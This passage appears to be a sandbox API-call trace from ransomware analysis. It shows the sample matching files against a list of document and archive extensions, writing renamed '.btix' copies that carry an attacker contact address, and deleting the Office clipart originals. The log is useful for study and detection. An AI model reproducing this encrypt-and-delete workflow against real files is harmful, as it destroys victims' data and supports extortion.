(lpString=".xlsx") returned 5 [0052.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.463] lstrlenW (lpString=".ppt") returned 4 [0052.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.463] lstrlenW (lpString=".zip") returned 4 [0052.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.464] lstrlenW (lpString=".rar") returned 4 [0052.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString=".bz2") returned 4 [0052.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString=".7z") returned 3 [0052.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.464] lstrlenW (lpString=".dbf") returned 4 [0052.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.464] lstrlenW (lpString=".1cd") returned 4 [0052.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.464] lstrlenW (lpString=".jpg") returned 4 [0052.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.464] lstrlenW (lpString=".doc") returned 4 [0052.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString=".docx") returned 5 [0052.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.464] lstrlenW (lpString=".pdf") returned 4 [0052.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString=".xls") returned 4 [0052.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.464] lstrlenW (lpString=".xlsx") returned 5 [0052.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.464] lstrlenW (lpString=".ppt") returned 4 [0052.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.464] lstrlenW (lpString=".zip") returned 4 [0052.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.464] lstrlenW (lpString=".rar") returned 4 [0052.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.465] lstrlenW (lpString=".bz2") returned 4 [0052.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.465] lstrlenW (lpString=".7z") returned 3 [0052.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.465] lstrlenW (lpString=".dbf") returned 4 [0052.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.465] lstrlenW (lpString=".1cd") returned 4 [0052.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0052.465] lstrlenW (lpString=".jpg") returned 4 [0052.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.465] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.465] lstrlenW (lpString="AN04323_.WMF") returned 12 [0052.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.466] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=2492) returned 1 [0052.466] CloseHandle (hObject=0x344) returned 1 [0052.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0052.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.466] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.467] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.467] GetLastError () returned 0x0 [0052.467] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0052.526] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0052.527] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.527] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.527] SetEndOfFile (hFile=0x390) returned 1 [0052.527] CloseHandle (hObject=0x390) returned 1 [0052.528] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.528] SetEndOfFile (hFile=0x344) returned 1 [0052.529] CloseHandle (hObject=0x344) returned 1 [0052.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0052.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.529] lstrlenW (lpString=".doc") returned 4 [0052.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.529] lstrlenW (lpString=".docx") returned 5 [0052.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.529] lstrlenW (lpString=".pdf") returned 4 [0052.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.529] lstrlenW (lpString=".xls") returned 4 [0052.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.529] lstrlenW (lpString=".xlsx") returned 5 [0052.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.529] lstrlenW (lpString=".ppt") returned 4 [0052.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.529] lstrlenW (lpString=".zip") returned 4 [0052.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.530] lstrlenW (lpString=".rar") returned 4 [0052.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString=".bz2") returned 4 [0052.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString=".7z") returned 3 [0052.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.530] lstrlenW (lpString=".dbf") returned 4 [0052.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.530] lstrlenW (lpString=".1cd") returned 4 [0052.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.530] lstrlenW (lpString=".jpg") returned 4 [0052.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.530] lstrlenW (lpString=".doc") returned 4 [0052.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString=".docx") returned 5 [0052.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.530] lstrlenW (lpString=".pdf") returned 4 [0052.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString=".xls") returned 4 [0052.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.530] lstrlenW (lpString=".xlsx") returned 5 [0052.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.530] lstrlenW (lpString=".ppt") returned 4 [0052.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.530] lstrlenW (lpString=".zip") returned 4 [0052.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.530] lstrlenW (lpString=".rar") returned 4 [0052.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.531] lstrlenW (lpString=".bz2") returned 4 [0052.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.531] lstrlenW (lpString=".7z") returned 3 [0052.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.531] lstrlenW (lpString=".dbf") returned 4 [0052.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.531] lstrlenW (lpString=".1cd") returned 4 [0052.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0052.531] lstrlenW (lpString=".jpg") returned 4 [0052.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.531] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.531] lstrlenW (lpString="AN04332_.WMF") returned 12 [0052.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.531] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=4296) returned 1 [0052.532] CloseHandle (hObject=0x344) returned 1 [0052.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0052.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.533] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.534] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.534] GetLastError () returned 0x0 [0052.534] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0052.594] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0052.595] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.595] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.595] SetEndOfFile (hFile=0x390) returned 1 [0052.596] CloseHandle (hObject=0x390) returned 1 [0052.596] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.596] SetEndOfFile (hFile=0x344) returned 1 [0052.597] CloseHandle (hObject=0x344) returned 1 [0052.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0052.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.598] lstrlenW (lpString=".doc") returned 4 [0052.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString=".docx") returned 5 [0052.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.598] lstrlenW (lpString=".pdf") returned 4 [0052.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString=".xls") returned 4 [0052.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.598] lstrlenW (lpString=".xlsx") returned 5 [0052.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.598] lstrlenW (lpString=".ppt") returned 4 [0052.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.598] lstrlenW (lpString=".zip") returned 4 [0052.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.598] lstrlenW (lpString=".rar") returned 4 [0052.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString=".bz2") returned 4 [0052.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString=".7z") returned 3 [0052.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.598] lstrlenW (lpString=".dbf") returned 4 [0052.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.598] lstrlenW (lpString=".1cd") returned 4 [0052.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.598] lstrlenW (lpString=".jpg") returned 4 [0052.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.599] lstrlenW (lpString=".doc") returned 4 [0052.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString=".docx") returned 5 [0052.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.599] lstrlenW (lpString=".pdf") returned 4 [0052.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString=".xls") returned 4 [0052.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.599] lstrlenW (lpString=".xlsx") returned 5 [0052.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.599] lstrlenW (lpString=".ppt") returned 4 [0052.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.599] lstrlenW (lpString=".zip") returned 4 [0052.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.599] lstrlenW (lpString=".rar") returned 4 [0052.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString=".bz2") returned 4 [0052.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString=".7z") returned 3 [0052.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.599] lstrlenW (lpString=".dbf") returned 4 [0052.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.599] lstrlenW (lpString=".1cd") returned 4 [0052.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0052.599] lstrlenW (lpString=".jpg") returned 4 [0052.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.600] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.600] lstrlenW (lpString="AN04369_.WMF") returned 12 [0052.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.665] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=4808) returned 1 [0052.665] CloseHandle (hObject=0x344) returned 1 [0052.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0052.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.666] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.666] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.666] GetLastError () returned 0x0 [0052.666] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0052.720] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0052.721] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.721] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.721] SetEndOfFile (hFile=0x390) returned 1 [0052.721] CloseHandle (hObject=0x390) returned 1 [0052.722] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.722] SetEndOfFile (hFile=0x344) returned 1 [0052.722] CloseHandle (hObject=0x344) returned 1 [0052.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.723] lstrlenW (lpString=".doc") returned 4 [0052.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.723] lstrlenW (lpString=".docx") returned 5 [0052.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.723] lstrlenW (lpString=".pdf") returned 4 [0052.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.723] lstrlenW (lpString=".xls") returned 4 [0052.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.723] lstrlenW (lpString=".xlsx") returned 5 [0052.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.723] lstrlenW (lpString=".ppt") returned 4 [0052.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.724] lstrlenW (lpString=".zip") returned 4 [0052.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.724] lstrlenW (lpString=".rar") returned 4 [0052.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.724] lstrlenW 